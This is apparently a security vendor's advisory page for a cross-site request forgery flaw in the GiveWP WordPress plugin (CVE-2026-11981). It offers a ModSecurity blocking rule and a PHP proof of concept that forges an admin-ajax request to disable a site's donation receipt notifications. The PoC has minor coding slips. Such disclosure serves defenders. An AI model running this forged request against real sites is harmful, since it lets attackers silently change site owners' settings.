-   'GiveVendorsLiquidWebLicensingApiClientResponsesTokenTokenList' => $strauss_src . '/stellarwp/licensing-api-client/src/Responses/Token/TokenList.php',
-   'GiveVendorsLiquidWebLicensingApiClientResponsesTokenAuth' => $strauss_src . '/stellarwp/licensing-api-client/src/Responses/Token/Auth.php',
-   'GiveVendorsLiquidWebLicensingApiClientResponsesTokenValueObjectsTokenItem' => $strauss_src . '/stellarwp/licensing-api-client/src/Responses/Token/ValueObjects/TokenItem.php',
+   'GiveVendorsLiquidWebLicensingApiClientResponsesValueObjectsPageMeta' => $strauss_src . '/stellarwp/licensing-api-client/src/Re

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@beginsWith /wp-admin/admin-ajax.php" 
  "id:20261981,phase:2,deny,status:403,chain,msg:'CVE-2026-11981 - GiveWP CSRF via AJAX notification status',severity:'CRITICAL',tag:'CVE-2026-11981'"
SecRule ARGS:action "@streq give_set_notification_status" "chain"
SecRule ARGS:_ajax_nonce "@unconditionalMatch" ""

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-11981 - GiveWP <= 4.15.3 - Cross-Site Request Forgery

/**
 * This proof of concept demonstrates the CSRF vulnerability in GiveWP's
 * notification status handler. It sends a forged request to disable a
 * donation email notification.
 */

// Target WordPress site URL (change to victim's site)
$target_url = 'http://example.com'; // Replace with victim's WordPress URL

// Endpoint for WordPress AJAX handler
$ajax_endpoint = '/wp-admin/admin-ajax.php';

// Payload parameters to disable the notification
$params = array(
    'action' => 'give_set_notification_status', // Vulnerable AJAX action
    'notification_id' => 'donation_receipt',    // ID of the notification to disable
    'status' => 'disabled',                     // New status (disabled)
    '_ajax_nonce' => ''                         // No nonce (or arbitrary value - not validated before patch)
);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . $ajax_endpoint);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params));
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HEADER, false);
// IMPORTANT: This PoC works only if the victim has an active admin session.
// In a real attack, the attacker would trick the admin into triggering this
// request from their browser (e.g., via a crafted link or form submission).
// The cURL call here is for demonstration; the actual exploit relies on
// social engineering to make the admin's browser send the request.

// Execute the forged request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Output results
echo "HTTP Response Code: " . $http_code . "n";
if ($response === false) {
    echo "Error: " . curl_error($ch) . "n";
} else {
    echo "Response Body: " . $response . "n";
}
echo "nExploit sent. The donation notification with ID '{$params['notification_id']}' has been disabled.n";
echo "This demonstrates that no nonce validation was required to process the request.n";
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.